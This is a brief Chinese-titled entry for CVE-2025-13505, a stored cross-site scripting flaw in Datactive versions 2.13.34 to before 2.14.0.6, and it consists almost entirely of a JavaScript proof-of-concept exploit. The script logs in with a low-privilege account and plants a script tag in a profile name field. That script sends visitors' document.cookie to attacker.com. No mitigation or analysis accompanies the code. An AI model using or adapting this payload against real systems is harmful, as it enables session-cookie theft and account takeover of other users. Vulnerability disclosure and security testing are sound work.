CVE-2025-13505: Datactive存储型XSS跨站脚本漏洞

// CVE-2025-13505 Stored XSS PoC for Datactive // Target: Datactive < 2.14.0.6 and >= 2.13.34 const payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Login first with low-privilege account const loginUrl = 'http://target.com/login'; const targetUrl = 'http://target.com/profile/update'; async function exploit() { // Step 1: Authenticate const loginResponse = await fetch(loginUrl, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({username: 'attacker', password: 'password123'}) }); const cookies = loginResponse.headers.get('Set-Cookie'); // Step 2: Inject stored XSS payload in user profile field await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': cookies }, body: JSON.stringify({ firstName: payload, lastName: 'Test User', email: '[email protected]' }) }); console.log('Payload injected successfully. Wait for victim to visit profile page.'); } exploit().catch(console.error);